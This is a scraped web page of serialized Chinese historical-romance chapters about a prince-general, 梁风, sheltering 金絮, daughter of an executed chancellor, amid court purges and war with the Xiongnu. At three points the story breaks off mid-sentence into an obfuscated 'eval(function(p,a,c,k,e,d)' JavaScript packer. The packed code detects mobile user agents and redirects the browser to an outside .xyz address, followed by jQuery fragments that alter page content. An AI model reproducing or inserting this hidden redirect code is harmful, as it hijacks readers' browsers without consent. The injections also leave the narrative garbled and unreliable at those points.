根据敬先这段时间给他送来的情报,他知道朝堂内还未决定处理匈奴的方法。朝中一边倒是主和派,但皇帝始终犹豫选哪位公主和亲。 不少大臣提议从高门贵女中选一位封为公主,但这提议也未定下,京城内谣言四起,导致最近许多家族中流传出各种各样的丑闻。他去打哀帝四子,反而避开了这些喧嚣。 或许可以跟皇帝提议封金絮为公主,送去和亲,至少能保住一条命。 只是,以大周目前的情况,送去的和亲公主跟直接死了也差不多,不到真的走投无路不能用此法。 可是,即便侥幸逃过这次搜捕,他难道能藏她一辈子? 她以后要嫁人的。 到底该怎么办? 头顶手肘的烧伤剧烈疼痛起来。 “王爷,”李晟一旁轻轻一唤。 梁风侧目看去,见老李手中端着一碗药。 “喂不进了。” 他回到屋里,金絮烧得越来越厉害,衣服都快干了。 府里以前没处理过这种程度的烧伤,李晟怕用错药,便没动她和梁风身上的伤痕,只煮了退热的药想喂她喝下,可喝了一碗姜汤后,再喂药她就全吐了。 金絮面色因高烧而泛红,气息忽轻忽重,再烧下去要出事了。梁风去取了将军令牌递给李晟,“差不多了,只剩半个时辰天就亮了,老李你去找大夫吧,有我的令牌,城防军应不会抓你。” 李晟接过令牌便出府。 梁风在她床边坐下,思索此刻手里还有什么。 他目前至少能肯定哀帝四子还活着。 押回京城后如果能借他人之手将哀帝四子放了,皇帝肯定会再派他追击,那他就有底气...... 一滴冷汗滑入衣襟,打断他思绪,瞬间的紧张后心脏快速跳动起来,冷汗越流越多,渐渐布满整张脸。 梁风喘口气,又狠狠一叹,把脸埋进掌心中。 他知道的确是冲动了。 将军私自回朝,性质非常严重,且他昨晚带刀佩甲地闯入皇宫,还出言讽刺皇帝,把圣旨砍了。什么都没有的情况下,这简直是自断后路,也断了母亲的后路。 即便觉得皇帝不会杀他,他仍不知道自己到底有什么筹码可以让皇帝对他有所顾虑。 什么取舍不都在皇帝一喜一怒之间。 心脏跳得出现了慌乱,梁风站起身,在房内来回踱步。窗边蒙蒙泛蓝的颜色浓郁起来。天快亮了。 最大的问题,是他猜不到皇帝究竟会不会命公主和亲,如果会,那他这个王爷在朝中就完全没用了...... 不,不对,皇帝此时唯一的顾虑应该是不知道哀帝四子是否身亡,只要确认哀帝四子死了,就一定会下旨命崔固攻打匈奴,剩下的叛民匪患再慢慢清理。 那就有希望,哀帝四子还没死,他要在押送来京城前先一步掌握到手中。 军营里是他的地方,还有人会听他说话。 但如果,如果皇帝忍心送公主和亲,那一定舍得下他这个并不算亲的兄弟。 他真的不会死吗? 包庇罪臣之女,罪名加一条。 他脑子里很乱,金絮逐渐烧得开始说胡话,李晟终于领了男大夫回来。 大夫给梁风看了伤,剃去了他头顶的一些头发,再敷药包扎。 李晟带来人之后又出门买仆人去了,梁风只能烦请大夫去药铺抓药,再细说金絮的病情,开了一副退烧的方子。 他不敢让大夫看见金絮,他现在谁都不敢相信,只能先吃点药,后续看她情况再做处理。 大夫买药回来,梁风支付重金,目送其离开后将药灶放在房里煎,让金絮吸入药香,再给她包扎手掌。 药煎好后,一点一点从她的齿缝间喂进去,喂了四五口,她的下颌慢慢松了,药也能吃进去了。 金絮喝进药后,渐渐停止呓语,脸上神情也放松了,似乎睡得好了些。 梁风放了心,靠在她床尾,几个关节缠了纱布,不好活动,本来已经麻木,现在上了药反而更疼起来。看着看着,脸往床上一砸,身体拧巴着睡着了。 生擒哀帝四子后赶路上京,就没睡好过,稍稍一放松就睡了。 没睡多久,被李晟进门的声音吵醒,严重睡眠不足的头脑让他反应好久才清醒过来,老李买回了一个小姑娘和三个小伙子。 小姑娘和金絮差不多大,男孩们稍微年长一点,但也比他小。 他们浑身像是只有骨头架子没有肉,衣服下面空荡荡的,散发一股馊味,头脸脏兮兮,眼神没有神。 “王爷,保证干净。”李晟同他附耳道。 梁风点点头,说:“那你们就留在这里吧,我至少能保证你们以后不会愁吃喝。” 老李做了米汤给他们喝,再让他们简单洗个澡,梁风就让那小姑娘去为金絮换衣服。 “你有名字吗?” 小姑娘点头,声音细细的,“我叫小缃。” 梁风拿出一套被赶走的一名丫鬟的旧衣裳,“你为她换身衣服吧,她身上有伤,动作记得轻些。” 小姑娘话不多,很会点头。梁风便退到外间。 过了一小会儿,屏风后的小缃声音极轻地说她不会脱金絮的衣服。 梁风一想也是,什么都得教,便道:“那就剪了吧,剪下的衣服不要扔。” 又过片刻,小缃抱着剪碎的衣服出来。梁风将衣服烧了,再嘱咐道:“以后你就负责照顾她,她还病着,出了什么情况及时告诉我,或者告诉李管家也行。” 小缃点头,“是。” 李晟让两个男孩守着大门,再谴一个出去打探消息。 安置下来后,突然有太监登门,传来圣旨。 皇帝对他昨夜的行为做出判决。 梁风有点烦躁,想凶,昨天把圣旨砍了,今天怎么可能对着圣旨下跪。 他冷脸直立着,太监在他的注视下战战兢兢地念完圣旨。 圣意并未罚他,甚至没提他带刀闯入未央宫的事,只是警告,让他即刻进宫,上呈与哀帝四子一战的战报。 他手里有军报,但里面写着的是生擒哀帝四子。 这封军报可以让皇帝知道哀帝四子还有再反的可能。 梁风把军报给了太监,然后唰地关门。 太监走后,李晟拉着他进屋,强硬将他按在床上。 “睡会吧,天大的事情睡一觉再处理,金姑娘那边有我守着。” 梁风还想着那封军报,心跳有些不定,这时又来了人,是敬先。 梁风急忙起身,亲自去开门,走到一半,忽然迟疑自己能不能给敬先开门。 他没开,试探地唤了一声:“敬先?” 崔敬先隔着门问:“王爷你是金党?” 梁风顿了一下,道:“......我不是。” “你先把门打开。” 梁风开门。 崔敬先满脸憔悴,看见他一身伤明显愣了,继而皱着眉道:“那你昨夜为何冒着大火闯丞相府?不能等收到旨意再回朝吗?” 梁风抿嘴不语。 “丞相府被清剿后,陛下要开始对金党下手了。” 敬先问:“陛下会杀你吗?” 梁风犹豫片刻才答:“我不是金党。” “可外面的人都在传你是。” 梁风无言。 “我也以为你是。”敬先双眼看着他,“风兄,我可以帮你。” 梁风摇头,“他们都以为我是金党,你还帮我,会惹祸上身的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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军中肯定有皇帝的眼线啊,他部下里肯定有皇帝的人啊,哀帝四子肯定在他上京后就死了啊! 他当时就应该把哀帝四子抓在手里,这么重要的人怎么能交给旁人。 为什么又信了?为什么又松懈了?到底是为什么,就因为白天那个旨意中忽略了他带刀闯入未央宫? 他嘴唇都泛了白,太监这时笔直地挺身,朗声道:“传陛下口谕——” 梁风身体一震,膝盖软了,低头跪下听旨。 “应和王击杀哀帝四子有功,擢升镖旗大将军,即刻赴朝领赏。” 梁风猛地抬头,伤口都开始发冷,这些话在意料之外,又似乎意料之中。 他咬住了牙,那太监神情淡淡,低着头看他。 仿佛回到了小时候,也会这样抬着头看梁戟。 低头俯视他的人,淡淡的神情,没什么表情的脸上似乎总带一点笑。 他扯着嘴皮往两旁一咧,指甲深深陷进肉里。 “我不去。” 太监愣住。 “一身伤血上朝,恐惊了陛下。” 梁风站起来,用力把门关了,把那淡淡的、似乎带笑的神情关在门外。 他回头,身后李晟注视着他。 梁风忽然露出一笑,在老李注视下,牙齿散发森白的光。 “他果然不会杀我。” “什么用都好,他就是不会杀我。” 低沉的声音随夜扩散开来。 他就还保得住母亲,保得住金絮。 他没有底气,因为他无法否认,留哀帝四子一命,的确包含他想借此威胁皇帝的意图。 102. 《红叶书》(二二) 梁风与李晟对望良久,久到月亮隐去,他无力地垂下手。 院中暗处亮起一点烛火。 “主子,姑娘醒了。” 小缃向他轻声道。 屋内烛光中,金絮坐在被子里,低头看着双手掌心,垂下的长发遮住肩臂,遮住她低敛的目光,几缕发梢被火燎断,翘起的发尾让她看起来浑身带刺。 他站在门边不知该怎么做,金絮深深低着头,一言不发。 烛火滋啦一声。她缓缓握紧手心,双手的绷带褶出道道沟壑。 梁风看不清她的眼神,挥退小缃,走近她,坐在她身旁,轻点她的拳头,低声道:“很疼的。” 她有反应,极慢地抬起头,嘴唇因病而泛白,目光迷茫失焦。 梁风发觉不对劲,手背触了一下她的额头,还有点低烧。 “你不要怕......”他收回手,想劝慰,又不知道说什么。 金絮脸颊被烛光打出阴影,干涸起皮的嘴唇微微颤动,眼睛里先涌出泪水。 梁风不敢看她的眼泪,想说她在这里是安全的,想说会有事情过去的那一天,可是说不出口,他不能保证她在这里是安全的。 静谧后,梁风不忍心,道:“你就住在这儿,我会尽力护着你,暂时先不要出去,外面很危险。” 泪水掉下来,她的眼睛逐渐回神,望着他不知在看着什么。 梁风住了嘴,低头看向烛火映照的地面。她的影子慢慢缩成一团,压抑地抖动着。 他起身退出了房间。 怕她夜里复烧,梁风不敢离开,停留在门外,听着金絮渐渐压抑不住的哭声。 气温凉破他的衣衫,他出神地看着白云在月亮前面跑过,心里似乎思考很多,又似乎什么也没想。 伤硬撑着凉下的气温,夜逐渐走深,金絮的哭喊慢慢止住,梁风回到她房里,她倒在被子上睡着了。 再吩咐小缃安置好她,梁风才松下一口气。 虽然可以肯定皇帝不会杀他,但他还是希望能更准确地把握到皇帝的态度才好。 想找时间再去趟天机阁,可是不敢出门太远,万一抓她的卫兵搜过来,他不在怎么办? 该从哪里找突破口。 想不到办法就愁得睡不着,在庭院里来回踱步。偌大的王府只有他一个人幽魂般地游走,新来的人都熬不住夜。 没过多久天亮了。李晟醒来,简单做了粥饭,再给他的伤换了药。梁风看着老李越来越对他责怪的眼神,心里无奈。 这时小厮来报有人登门。 来人竟是七皇子梁与義。 将近三年未见,与義个子都到他胸口了,不知道还记不记得他,离开越国时,与義才八岁呢。 可是,与義被一众仆人簇拥着迈入时,看他的眼神竟有些惴惴。 梁风想迎上前的脚步便停了。 梁与義恭恭敬敬行礼,再抬起来便道:“皇叔,我来看你。” 梁风扯出一笑,正想开口,一众仆从无令而动,端着物托列成两排。 与義打量着梁风的脸色,小心示意道:“这些是父皇赐给皇叔的药材,父皇知道皇叔受伤了,特意吩咐侄儿送来的。” 梁风的笑敛下去,也不领赏,无言地看着那一样样昂贵的药品。 与義站在一旁,慢慢地有点无措。 梁风察觉到了与義的无措,心里默叹,说道:“我不为难你,你既是为你父皇送赏,送到了便回去吧。” 与義脸色明显一松,又行礼,“侄儿便告退了。” 一众仆从放下御赐之物,跟随与義浩荡离开。 看着与義的背影即将消失,梁风出声一唤。 与義背脊顿僵,停下了,回头道:“还有何事,皇叔?” 梁风斟酌着开口:“金家人,是不是全死了?” 梁与義不明所以,但还是答道:“是的皇叔。昨日夜前,金氏余孽所剿名单已全部上呈,金氏无一活口。” 无一活口。 他蓦地感到紧张,见与義还在看着他,便紧道:“我知道了,你去吧。” 与義再礼,告辞了。 梁风遥遥看着金絮所在的方向,有些惊疑不定。 无一活口,说明有人替了金絮去死? 烧焦的尸体难以辨认,相府大火后只需点清尸体数量就行。 顾夫人带着金絮从太南避战上京,紧接着金延守开始被全朝廷针对,八方监视下,还有时间寻人替死? 说不定,他也可以用这种办法助母亲逃离皇宫...... 至少暂时不用过于担忧金絮的安危了。 梁风换身衣服,去军营。 临走前,在王府门前徘徊了一阵,还是后怕,不敢离开王府。府里几个人都手无缚鸡之力。 但此刻军营里想必乱成一团,敬先独自担着,他多少不忍心。 迟疑又迟疑,最终跨上马,去了军营。 营里果然很乱。 敬先一看到他,简直喜不自胜。 在将军案前坐下,大量的军务即刻堆了过来。 皇帝居然没削弱他的军权,真是意外。 崔敬先顶着青黑的眼、蜡黄的脸,将批印还给他,“将军,您府里几个违反宵禁的人下了狱,暂未处理。” “依军律处置,不用与我说。”他接了批印,问道:“你父亲如何了?” “好着呢,上月就能下地了。”敬先坐到旁边休憩用的短榻,松了松衣襟,“他真是不肯消停,刚能下地就上折请旨抗匈,完全不顾自己身体,我阿娘念叨了他好久,连带着我也要一块儿听......” 敬先说完,躺下睡了。 匈奴日日紧逼,他离京这两月的时间,西北已损失了三座县城。 梁风找到他的后续部队送来的军报,得知还要近半个月才抵京。另外还看到了上月皇帝下的圣旨,命京畿各县及各郡国,加大税收,招安匪患,并令匪兵在当地受训一月后送至京城。 梁风不用想也知道,最近各郡国抱怨的折子肯定十分多,大司农绝对调不出金钱供给各地训练匪兵。 朝廷上肯定更乱。 游照同越过御史大夫谢傅,成为了新任丞相。 谢傅原本就比金延守大了几十岁,却被金延守死死压了几十年,眼看就要熬出头,居然再次被小了他那么多岁的游照同一步跨过去。 这就是梁戟滞留京城那几年做成的事吧。 一个人可能站在两个阵营里,但只能像游照同那样,做个卧底。 想到上次他找谢傅问些旧事时,谢大人把知道的、能说的都告诉他了,想来也是认清了前路,认清了命。 直到敬先醒来,梁风还在批复军务。 朝廷全面清除金党,营里大部分兵力被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839837|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇帝调去杀人了,巡夜的人手减少,导致京城内的士兵看似增多,却仅集中在几个地方,城内许多边缘之地的盗窃案件频繁了起来。 盗窃之物从鸡鸭到珠宝都有,案子不用他查办,但他需要调拨人手负责警戒、保卫和配合廷尉调查。城中水利筑防等事情只能搁置。原先聚到京城的流民多数当了兵,少数被遣返。 梁风算了一下,加上他手下的,目前大周成熟的兵力不到两万,再从郡国调兵,倒是够打匈奴了。解决外患,皇帝就能分出精力培养将军。 不知不觉天亮。 小兵送上早饭。梁风发现这人不认识,一问才知,原先在他身边的几个老兵全调走了。 估计是皇帝收回了放在他身边的人。 这显然是皇帝的态度,梁风不再多问。 他忙完一段,回了王府。 金絮状态好了许多,但是不说话。 她缩在角落,谁都不理。 梁风不知该怎么劝慰,说什么都不对,只能让她自己慢慢缓过来。她不会跑出去就好。 他让李晟趁城内混乱时多去挑选仆人,府里人少总难让他放心。 多了十来人入府后,李晟平日里便教导这些新人,守门的人多了,他心里总算踏实一点,难得睡了个好觉。 没过几日,皇帝终于下旨,命崔固带兵攻打匈奴,调遣了他刚上京的后续部队。 梁风简直无话可说。 他再次做客谢府。 听谢傅说,这次的决定是因为几个王公贵戚的家里事闹得太丑,原本主和派的多数官员改为主战,皇帝得了支持,加上崔固自己请旨抗匈,皇帝便同意了。 他关心不到那么多人,只关心这其中被牵连的一个人。 皇帝下旨,崔敬先入宫,做七皇子的贴身伴读。 梁风找到敬先,敬先笑着对他说:“风兄,以后我们就是一类人啦。” 梁风嘴角却缓慢垂下去,无言片刻又提高了音量道:“你放心,与義还小,好相处的。” 敬先却似乎无甚所谓,拍拍他的肩膀,“我就说嘛,他就是不耐烦待在家里的,他总说,做将军的,要固守一方嘛。” 梁风和敬先去酒肆里喝酒,看着街上来来往往的车马,酒液里都混入了尘土的气息。 “我阿娘还说要给我说亲呢,现在入了宫,没机会说了。” 敬先笑了笑,一杯酒下肚。 车马渐渐稀疏,尘土落地,街上覆了夕阳。 崔敬先静了好久,忽然问:“我父亲会不会变成第二个贺兰将军?” 梁风立刻答:“不会。” 敬先又笑,吞下一杯夕阳。 崔固带兵出发是在清晨,这日崔敬先走进皇宫。 他目送敬先的背影,忽然想,他与崔固相比,是不是因为他没有儿子,没有软肋可以供皇帝捏在手中,所以不派他去。 宫门关上的一刻,梁风转身回府。 府门外,见今日的王府,似乎有什么不同。 打开门,他看到一个终于走出黑暗的身影。 金絮立于晨光下,晨光增亮衣裙的洁白。 她把自己关在房里时,连蜡烛都不点。 “金絮。” 她回了头,长发未簪钗环,发梢随风漂泊不定,面色仍显病中苍白。 “王爷。” 她轻轻唤道。 103. 《红叶书》(二三) 金絮嗓子哑了,是在火场里被烟熏得,她的病尚未完全根愈,手上的伤看起来要留疤,梁风想办法怎么给她找大夫。 是隐瞒身份,带她去天机阁,还是去城郊的医馆,还是再请大夫上门。 他脱不开身,除了军务,这次留哀帝四子一命,却被升为镖旗大将军,朝堂上探究他的眼睛肯定很多。 贸贸然带她出府极为不妥。 可是上回与義送来一批药材,他的伤见势要好,再请大夫来也是不妥。 “如果可以,我想送她离开京城,去一个安全的郡县,避几年风头,之后再做打算。”梁风同老李说道。 他推开窗,外面盎然春意中,能远远看见金絮坐在树下的背影。 她双手搭膝,长发拢满两肩,颈背微弯,低头看花草。 “金姑娘没有户籍路引,不管是哪儿都难以安身立命。”老李道:“不过她年纪尚小,日子还能重新过。” 李晟翻拣与義送来的那批药材,挑选合适的熬给金絮喝,希望能治一下嗓子。 梁风焦虑得皱眉,“我想来想去,她只能待在府里,去哪儿都很危险。可是,在我身边对她更不好。” 李晟停下,顺着他的目光看向金絮,叹道:“要看得开啊,日子总得过。” 看得开...... 梁风没有老李这心境,不知道说什么。 他这个方位看去,金絮一动不动,向上的掌心像是端着花丛。 如果是他,他看不开的。 再等等吧,至少等她缓过来。 梁风起身,取一件斗篷,走去给她披上。 金絮没反应,僵了般,午后阳光将她的影子拉得好长。 他绕到她身前,为她挡了些许光照,温声道:“晒会太阳就好,你病尚未痊愈,吹风久了会头晕的。” 她坐了半个时辰,好不容易愿意出屋走走,中午吃了完整一碗饭,然后就坐在这独自发呆。 金絮抬起眼睛看他。 她的双眼很肿,眼神失焦,仿佛从血丝里长出睫毛,眼底青色很重,面部瘦削,脸色显得病气。 梁风指背轻拭她的额温,没烧了,放下了心,道:“回屋吧。” 她的嘴唇开裂起皮,没有说话,由他牵着斗篷回了屋。 安置她在榻前坐下,梁风想去接杯茶,刚转身,袖子就被抓住了。 微微的颤抖沿着衣袖传来。 梁风心底一疼,立即收回迈出的脚。 “王爷......” 声音像是脚底在砂地上摩擦,气息短促又紧,她仰着头,被斗篷压住的发丝贴着脸颊。 “怎么了?”他轻轻问:“小缃告诉我你夜里睡不好,是做噩梦吗?你不要怕......若是想找人说话,可以来找我。” 她看着他,眼神的温度升起来,手不放开。 “我父亲的罪名,是真的?” 他差点脱口而出是假的。 他暗暗深呼吸,压低声音道:“有真有假。” 颤抖加剧,她的眼神开裂,裂缝里迸出细碎的光。 “哪些是假?” 金絮沙哑的声音带了一丝急切,“你告诉我。” 梁风握住她的手腕,“你别急,我告诉你。你先将手松开,伤还没好,很疼的。” 金絮缓缓松了手,双眼牢牢盯着他。 梁风在她身边坐下道:“我没能参与金丞相的案子,并不十分清楚案情。我只听说,金丞相通敌卖国这条罪名与贺兰将军的死有关。贺兰将军幽关一战惨败,其中的缘故是金丞相从中作梗、泄露军情、暗插冷箭刺杀贺兰将军导致的,至于为什么......” 他顿了一顿,与她回望道:“朝堂上的事我不能参与太多。” 金絮眼底的委屈、不甘、愤恨,渐渐被泪水淹没。 梁风受不了被这么看着,移开了视线。 “我想翻案。”她的眼泪掉下来。 翻案,怎么翻? 梁风不知如何回应,但他提起语气,向她轻声道:“往后或许有机会翻案,只是现在,你要将自己照顾好。” 金絮低下头,手上的绷带用力抹掉眼泪。 梁风不忍心,再劝慰:“以后会有机会翻案的,一定会有。” 他没立场劝她振作,他甚至不能为她做些什么。 不停抹仍不停哭,金絮止不住眼泪。 “娘亲让我不要恨......” “告诉我这是命......” “如果这是命,为什么留下我一个......” 她瘦了,肩膀尖锐地撑着衣服。梁风很想抱抱她,又怕逾距。 他倾前靠近她,想看她双眼,低声道:“因为她爱你。” 金絮压制颤动的肩膀,抬起脸望他,眼泪沾湿了干涸的嘴唇。 “因为顾夫人爱你,虽然这是一条艰难的路,但她永远希望你能活着。” 梁风拂去她沾脸的发丝,“就像我的母亲一样,她希望你过得好。” 她抽噎着呆滞片刻,又急切地抓住他的衣袖,“我也爱她,我希望她保住自己的命。” 沙哑的气音断断续续,梁风擦去她下巴挂着的一滴泪,“或许对她来讲,保住你,也是保住了自己。” 她听进去了,松开了手。 “睡会好吗?”梁风轻轻地哄:“你太累了。” 金絮渐渐停止抽泣,垂眸看着掌心,手指按压绷带,泪湿的绷带在指腹中凹陷下去。 “会疼的。”梁风拉开她的手。 金絮却抽回,双手握成拳,握紧到发颤。 “不想睡吗?”梁风看不见她双眼,金絮再次摇头。 她就是捏紧手掌的伤口,用疼痛逼自己强行清醒。梁风拿走斗篷,直接把她抱起,横放于床榻,扯了衾被给她盖上,握住她的掌心不让她握拳。 “睡会吧,你不能再撑着了。” 金絮睁着眼,不知在想什么,也不反抗。 从她被救出来起,饭不吃好,觉不睡好,她定浑身没有力气。梁风翻开她的掌心,暗运内力,用拇指轻揉腕线上两寸的内关穴,为她助眠。 金絮慢慢撑不住,一闭上眼立刻睡着了,眉头徐徐平展。 梁风拨整她的头发,掖好被角,点上药香,让她吸入喉咙里,再安静离开。 今日休沐,他上街,想给金絮添置些衣物。 保险起见,她原先身上的所有东西全部烧掉了,连盘发的簪子都没有。 簪子偏华丽,梁风选了素色的发带,再给她买两身衣裳。 买衣裳时犹豫了,是不是把她假扮成丫鬟比较妥当。 可她的户籍梁风还没头绪,丫鬟的话,就是奴籍了。 她肯定不能是奴籍。 且买女子穿的衣服会不会不合适,如果传出去,他这个王爷还会亲自出门为一个丫鬟买衣服?他不希望为她吸引来一些多余的目光。 梁风最终买了两身小厮穿的男装。 回到府里,李晟迎上来告诉他:“七皇子来了,候在正殿。” 梁风暂停思绪,正好想问问敬先在宫里过得如何,便将买来的东西交给老李。 去到正殿却没见到与義,绕至内间,听见一道陶响。是陶响球发出的声音。 他顿步细听,听出了曲调,是从前他和与義一起学的曲子。这首曲子与義吹得比他好。 他掀帘走入。梁与義站在架子旁,捧着巴掌大的陶响球在吹,没注意到他。 吹罢一曲,与義转过头,看见他,神情一愣,顿时尴尬,“皇、皇叔......” 尴尬是因未经许可进入内间,梁风笑了笑,“那东西是你从前吹的,我离开越国时没来得及给你,被你找到了。” 与義无措更甚,脸有点红,错开视线,低头放下陶响球,放好之后偷偷打量他,看来看去,小声地说:“......一个老旧的玩具,皇叔还留着做什么?” “我看它没坏,还能玩,就留着了。”梁风招呼与義坐下,仍是带了点笑问:“今日来找我是有什么事情?” 老李奉茶。与義经他话点醒,迅即从怀里摸出一小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839838|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓶药,推给他,“侄儿上回见皇叔长了面疮,这是治疗面疮的药,皇长兄用过的,很有效。” 梁风接过药瓶,想起自己最近是长了面疮,便笑道:“多谢与義,那我收下了。” 他拇指抚摸瓷滑的瓶身,随意问:“你的伴读,崔家那个长子,你觉得如何?” 与義愣了一瞬,不明所以地错开眼神,几下又望回他,试探着缓慢地说:“敬先兄......挺好的。” “挺好......那就好。”梁风扯嘴,“我只是问一下,没旁的事。” “皇叔......” “没事的,有什么话跟我可以直接说。” 梁与義看他脸色,语气斟酌道:“朝上许多大小官员或是被贬,或是被流放,一直寻不到合适人选补足,父皇十分忧愁,头发都白了许多,侄儿想为父皇分忧,但侄儿也不知什么样的人才好,于是上门搅扰皇叔,想问问皇叔......”与義声音小下去,“......有什么合适人选。” 梁风认真听了,认真回答:“我没有人。” 与義望着他眨了下眼,欲言又止。 他多嘴再说:“朝中的人我都不熟悉,他们的才能与性情我并不十分了解,难以推荐合适人选。与義,你去问旁人吧。” 与義反应过来,明白了意思,“那......”又不与他对视,站起来一礼,“侄儿多谢皇叔,侄儿先告辞了。” 梁风点头,与義便向外走。 看着与義的背影即将拐出门,梁风跟出去,唤了一声。 与義回头看他。 “你去告诉你父皇,他有何事想问我的,直接问便是,或者命太监传话,没必要让你走这一趟。” 与義闻言,眼睛里有话想说,但是没说,再一礼,便向大门走去。 这时李晟迎面小跑过来,看见七皇子便停下行礼,这一礼,便止了与義脚步。 李晟同梁风说道:“相府长史求见。” 相府长史,梁风好像有点印象,正想说传见,李晟附耳低声道:“长史大人是来送礼的。” 梁风一愣,下意识看了眼与義,与義和他一对望,收回目光离开。 梁风道:“不收,你让他拿回去吧,就说好意我心领了。我不见这人。” “是。”老李应声随同与義也走了。 梁风在殿内坐了会儿,李晟回来,告诉他:“长史大人觉得遗憾,但什么都没说,只是离去前被七皇子叫住问了两句话。” 梁风大概能猜到问的什么,想起来相府长史这人在朝中似乎是没有站队的,但又未完全和金延守划清界限,不知是否被这次清剿金党波及。 “他来送礼干什么?难道觉得我能庇护他吗?”还要正好被与義撞见,他便有些不耐。 “或许,您真能庇护长史大人。”李晟若有所思地说,说完又道:“您别多想,拒了便是。” 梁风忍不住疑神疑鬼。 夜里洗漱后,他想直接睡,李晟捧着与義送来的那个药,说要给他抹抹。梁风觉得这东西腻乎乎的,涂了只会让被子蹭去一半,不大愿意涂。 李晟强行给他擦了。梁风顶着一张油脸入睡了。 第二天一早醒来,他去镜子前照了照,脸上的包好像是小了点。 金絮还在睡。他收拾好后去军营。 午后下来一道圣旨。 圣旨内容是他可以在京城范围内随时调拨五百以下的兵力,允许他养五十名以内的府兵,以及能够对军营中校尉以下的人进行升降任免。 皇帝竟给了他真正的兵权。 梁风心中纳罕。 此前他这个将军的权力仅限于批复军务,只有手持皇帝的谕旨才可以调拨士兵,而现在,他连府兵都能养了,虽然这些权力仍不足以匹配“骠骑将军”的头衔。 另外,他升为镖旗大将军的赏赐一直没领,皇帝给送来了。 他接旨。 赏赐送去了王府,只有一件,送来了军营。 是一副铠甲,白色的,在阳光下闪闪发光,刺痛他的双眼。 104. 《红叶书》(二四) 空出来的官位还能是什么人选,当然是皇帝从越国带过来的那批人。 与義的试探,梁风觉得自己并未放在心上。 他之后一连几日没回府里。 那道圣旨,对他的生活没有造成很大改变。 他未动用兵权,也未起用任何人,每日重复做着以往的事。 想知道金絮的情况,但不能跟老李通信,更不敢让老李离开王府,只能等休沐的时候,或者在城中巡营时,抽空去府里看看。 李晟说她话多了,会主动打听外面的情况,梁风让她尽量不要出门,不光怕她暴露身份,还因城内不太平。 金党的清剿不知何时才结束。 已经连续三天在西市举行斩首示众。 尸体不由他处置,城外临建的焚尸地,黑烟数日不休。 皇帝如此着急,登基之初尚未立稳脚跟,便大杀朝廷官员,内乱的同时掏空国库支撑抗匈战争。 皇帝想将大周握在手里,哪怕是残破不堪的大周。 梁风只能想,皇帝是在越国时就已做足了十全的准备。但现在内忧外患,也在皇帝预料之中吗? 初夏,军营不断涌进各地送来的新兵。 似乎是有了兵权后,他看这些人的眼光不一样了,总不由自主地思索,什么样的人适合贴身培养。 新兵数量不算多,目前只有几千。或许是此前的军营太过鱼龙混杂,皇帝不满,给他下了口谕,命他严格练兵,端正风气。 没提让他上朝的事,梁风也不愿去早朝。 现在营里有话语权没兵权的将领不止他一个,梁风意识到皇帝已经预备提拔后起之秀了。 察觉到了心底的沮丧,梁风想—— ——什么都没想。 这日回府,她在书阁。 书阁离西苑很近,老李说她每日大多时候都坐在书阁,一坐一整天,阅读金延守从前写的文章,或者是其他名家著作。 梁风为此购置了许多书籍给她看,发现她看的都是政论文章、律法令条之类,还有名师批注过的《左传》。 她不像在转移注意力,而是在字里行间寻找着什么。 梁风是担心她的,担心她胡思乱想,担心她想报复,最后伤及自身。 书阁里,条案后不见金絮。 梁风沿着书架找去,角落里发现她。 她面前放着一册书,已经拆了绷带的双手交叠轻握,目光放在书页上,发呆的眼神不像在读书。 影子覆于书上。她抬起头,看见梁风。 长发系着他买的发带,有点凌乱,小缃梳发的手艺不太好。 她的病差不多痊愈,气色恢复很多,只是眼下肌肤还有些憔悴,头发都暗了......发尾还有一处烧焦的痕迹,没剪理干净。 她呆滞片刻,立刻匍匐行礼。 梁风止住她的动作,“说过好多回了,不用行礼。” 金絮拢手垂头,退到一旁。 “我让下人们平日不来书阁洒扫,你便不用坐在角落,这儿光线不好。” 他拿起她的书,牵着她的衣袖,带她去光线好的地方。金絮默不作声由他牵着。 “来这儿。” 梁风扶她案前坐下。 低头注意到她看的书是金延守年轻时所著的一部文集,内容主要是郡国和京畿各地官员的往来日常与言谈礼仪,记录的事件有头有尾,十分枯燥。 “怎么想起来看这书?”梁风问。 金絮跪坐,肩背弯着,闻言眼神微下,不看那书。 “随意翻的。” 她声音很轻,梁风又问:“从前也看这类书吗?” 她双眼顿了顿,才摇头答:“从前不看。” ——不应该提从前。他想掌自己的嘴。 他最近常常忆起以前在越国时的日子,怕她产生自己寄人篱下的感觉,跟他拘谨,有话不与他直说。 梁风又看了眼她的手,另起个话头:“手还痒么?夜里睡不好的话我换个药让你擦擦。” 手伤基本好全了,痂没落完,掌心五指都有薄疤。 “多谢王爷,能睡好了。”她双手指尖相对捏住,微微抬眼看他,“王爷的伤呢?” “我?我已经好了,我比你扛伤,都习惯了。” 他希望能用眼神感染她,然而金絮又把目光垂下去。梁风便道:“我若是在府里,你想找人陪伴,可以来找我的,有什么话也尽管和我说,无需顾忌。” 